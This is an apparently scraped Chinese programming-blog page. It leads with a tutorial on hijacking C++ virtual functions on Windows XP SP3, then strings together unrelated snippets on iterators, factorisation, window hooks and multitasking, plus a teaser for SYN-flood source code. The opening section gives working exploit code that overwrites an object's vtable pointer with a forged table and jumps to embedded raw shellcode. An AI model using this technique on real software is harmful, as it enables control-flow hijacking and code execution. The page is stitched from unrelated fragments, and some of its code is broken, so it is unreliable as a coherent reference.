c++sql拒绝式攻击
2018-02-23 22:13:43 qq_19683651 阅读数 288

C++虚函数和类在内存中的位置关系
这里写图片描述

虚函数示例

/*
    标题:攻击C++虚函数
    操走系统:xp s3
    编辑器:vc6.0
*/

#include <iostream.h>
#include <windows.h>

class People{
public:
    People(char* m_id,char* m_name){
        strcpy(id,m_id);
        strcpy(name,m_name);
    }
    virtual void print(){
        cout<<"I am Person\n";
        cout<<"ID:\t"<<id<<endl;
        cout<<"Name:\t"<<name<<endl;
    }
    virtual void GetName(){
        cout<<"I am Person\n";
        cout<<"Name:\t"<<name<<endl;
    }
    char name[100];
    char id[100];
};

class Student:public People{
public:
    Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
    char grade[100];
    virtual void print(){
        cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
        GetName();
    }
    virtual void GetName(){
        cout<<"I am Student and my name is\t"<<name<<endl;
    }
};

int main(int argc,char** argv){
    Student s("0001","ysy","12");
    s.print();
    return 0;
}

分析

c++初始化一个含有虚函数的类student,返回值为0x12fe48,查看对应内存,前四个字节为虚表地址,后面接name和id这两个成员变量。

这里写图片描述
查看地址为0x428038的虚表,是两个虚函数的地址,ida在这边已经识别出来了。
这里写图片描述

如何利用

相比xp s2,在xp s3上,虚函数攻击会有所不同,可以发现在Student类中print这个虚函数里面再去调用GetName这个虚函数,就会使用到虚表,直接修改类中虚表地址,从而达到控制eip的目的,而且在一定情况下可以突破GS。
0x401450:将类的地址赋值给edx,也就是edx指向类中虚表指针
0x401453:将虚表地址赋值给eax,也就是获取虚表地址
0x40145a:获取虚表中第二个虚函数地址,也就是之前的GetName的地址
这里写图片描述

利用示例

直接构造一个虚表,然后将新的虚表地址覆盖类中的虚表指针

/*
    标题:攻击C++虚函数
    操走系统:xp s3
    编辑器:vc6.0
*/

#include <iostream.h>
#include <windows.h>
char shellcode[]="\x90\x90\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90";

void test(){
    cout<<"test\n";
}
class People{
public:
    People(char* m_id,char* m_name){
        strcpy(id,m_id);
        strcpy(name,m_name);
    }
    virtual void print(){
        cout<<"I am Person\n";
        cout<<"ID:\t"<<id<<endl;
        cout<<"Name:\t"<<name<<endl;
    }
    virtual void GetName(){
        cout<<"I am Person\n";
        cout<<"Name:\t"<<name<<endl;
    }
    char name[100];
    char id[100];
};

class Student:public People{
public:
    Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
    char grade[100];
    virtual void print(){
        cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
        GetName();
    }
    virtual void GetName(){
        cout<<"I am Student and my name is\t"<<name<<endl;
    }
};

int main(int argc,char** argv){
    int new_vftable[2];
    new_vftable[0]=(int)&test;
    new_vftable[1]=(int)&shellcode;
    Student s("0001","ysy","12");
    *(int*)&s=(int)&new_vftable;
    s.print();
    return 0;
}
2014-05-05 15:41:52 u012547790 阅读数 494
C++式迭代.
for(std::string::const_iterator it = str.begin(); it != str.end(); ++it)
        // ........
 
上面的it就是迭代器, 就可以理解为以下的样子
char c_str[100] = "xxx";
for(char* it = c_str; *it != '\0'; ++it)
        // .......
 
上面是C语言式的迭代, it也是迭代器..
 
概念上来讲, 迭代器可以使指针, 也可以是任何类型, 只要可以用来遍历容器(数组)就可以了.
 
用在C++泛型算法里面比较多.  比如像下面的泛型函数copy.
就是接受任何有"迭代器"概念的类型作为参数, 可以使指针, 也可以是其他类型.
 
template <typename _In, typename _Out>
        _Out copy(_Out _Dest, _In _First, _In _Last);


    for (vector<SegmentSet>::iterator it = vecSegset.begin(); it != vecSegset.end(); it++) {
        //TODO: we have to release manually here to avoid memory leak.
        //  Other alternative ways are passing only pointers rather than the objects themselves,
        //  or adopting reference count to release automatically.
        it->release();
    }

ArrayList< String > arr = new ArrayList< String >();Iterator it = arr.iterator();迭代的时候可以这样while( it .hasNext() ){ //做一些处理,比如 System.out.print( it.next );}配合上泛型,一个好处是it.next()可以不用类型转换
2014-05-25 12:12:48 lc0817 阅读数 1424
#include<iostream.h>
void main(){
	int s=0,i,j=0,a[10]={0},b[10]={0},n,m=750;
	n=m;
	i=1;
	a[i]=2;
	while(1){
		if(n%a[i]==0){
			b[j++]=a[i];
			n=n/a[i];
			i++;
			a[i]=2;
			
		}
		else{
			a[i]++;
		}
		if(a[i]==n){
			b[j]=a[i];
			for(int k=0;k<=j;k++){
				cout<<b[k]<<"*";
			}
			cout<<"1="<<m<<endl;
			s++;
			b[j]=0;
			i--;
			n=n*a[i];
			a[i]++;
			j--;
			
		}
		if(a[1]>m/2){
			cout<<m<<"="<<m<<endl;
			cout<<"Totally numbers:"<<++s<<endl;
			break;
		}
	}
}

例如6=6*1;

  =2*3;

  =3*2;

2011-04-11 00:05:00 avi9111 阅读数 1412

LRESULT   CALLBACK   HookProc(int   nCode,   WPARAM   wParam,   LPARAM   lParam)
{
      if   (nCode   <   0)
              //return   CallNextHookEx(hook,   nCode,   wParam,   lParam);
      if   (nCode   ==   HCBT_ACTIVATE)   {
              HWND   hWnd   =   (HWND)wParam;
              CBTACTIVATESTRUCT*   pas   =   (CBTACTIVATESTRUCT*)lParam;
              //hWnd为就要激活的窗口句柄,而pas-> WndActive为当前激活的窗口句柄
      }
      return   0;   //返回0,允许操作,否则禁止系统的操作
}

 

 

 

SetWindowsHookEx(WH_CBT,HookProc,::GetModuleHandle(NULL),0);

 

 

HHOOK IEHook; //全域





LRESULT CALLBACK HookIECallBack(int nCode, WPARAM wParam, LPARAM lParam)
{



if


(nCode >= 0)



{



CWPSTRUCT* data= (CWPSTRUCT*)lParam;



if


(data->message == WM_SIZE)



{



//處理message






}



}



return


CallNextHookEx(IEHook, nCode, wParam, lParam);



}















VARIANT_BOOL ControllerCtrl::HookIEWindow()



{



AFX_MANAGE_STATE(AfxGetStaticModuleState());



CString IEClassString = _T("IEFrame"


);







CString IETitleString = _T("New Page - Windows Internet Explorer"


);



//取得IE視窗handle






HWND ieHandle = ::FindWindow(IEClassString,IETitleString);



if


(ieHandle != 0)



{



//取得IE視窗的threadId






LONG threadId = GetWindowThreadProcessId(ieHandle,NULL);



if


(threadId != 0)



{



IEHook = ::SetWindowsHookEx(WH_CALLWNDPROC,HookIECallBack,::GetModuleHandle(NULL),threadId);



if


(IEHook != NULL)



{



return


VARIANT_TRUE;



}



}



else






{



MessageBox(_T("no threadId"


));



}



}



else






{



MessageBox(_T("no ie-handle"


));



}



return


VARIANT_FALSE;







}







2019-02-24 14:06:33 qq_33373173 阅读数 61
  • Windows 2000之前的Windows OS 用的是协作式多任务处理原则
    OS依赖资源平均共享. 即应用程序把控制权返回OS, 以便让其他进程(应用程序)也能获得处理器时间
  • 之后的实现了抢占式多任务处理原则
    OS按时暂停线程的执行,让其他线程也能获得相等的处理器时间
    其执行任务时更简单,更安全.

C++ SYN攻击源码

阅读数 1869

//DOS.cpp:定义控制台应用程序的入口点。//#include"stdafx.h"#include#include#include#include#pragmacomment(lib,"ws2_32.lib")#defineSEQ0x28376839            //随机号码intthreadn

博文 来自: liujiayu2

C++如何拒绝对象的copy

阅读数 3019

中的一个条款,如果是想要阻止一个对象的复制或是copyassignment操作应该怎么做呢?classHomeForSale{};HomeForSaleh1;HomeForSaleh2;HomeForSaleh3(h1);   //企图调用h3的copy构造函数克隆出一份h1h1=h2;             //企图调用co

博文 来自: ZLhy_

桶式排序(c++)

阅读数 310

简单的桶式排序,有两种实现方式:1:基于数组实现---主要原理,创建一个大小为将要排序的整数序列中最大数的数组,将数组每个元素置为0,然后将整数序列和数组下标一致时,执行加加操作,最后再循环这个数组,判断数组中大于0的,就代表是序列中的,并执行减减操作,此时出现的数组下标就是排好的目标序列。2基于链表的桶式排序:

博文 来自: M13215519957

C++ 练习-lambda式

阅读数 63

C++lambda表达式练习【未完待续】#if0//lambda表达式:#include&amp;amp;lt;iostream&amp;amp;gt;#include&amp;amp;lt;algorithm&amp;amp;gt;#include&amp;amp;lt;functional&amp;amp;gt;#include&amp;amp;lt;vector&amp;amp;gt;usingnamespace

博文 来自: a571255945

C++ 竖式问题

阅读数 2072

问题描述:找出所有形如abc*de(三位数乘以两位数)的算式,使得在完整的竖式中,所有数字都属于一个特定的数字集合。输入数字集合(相邻数字之间没有空格),输出所有竖式。每个竖式前应有编号,之后应有一个空行。最后输出解的总数。具体格式见样例输出(为了便于观察,竖式中的空格改用小数点显示,但你的程序应该输出空格,而非小数点)。样例输入:2357样例输出:..775

博文 来自: a243845305
没有更多推荐了,返回首页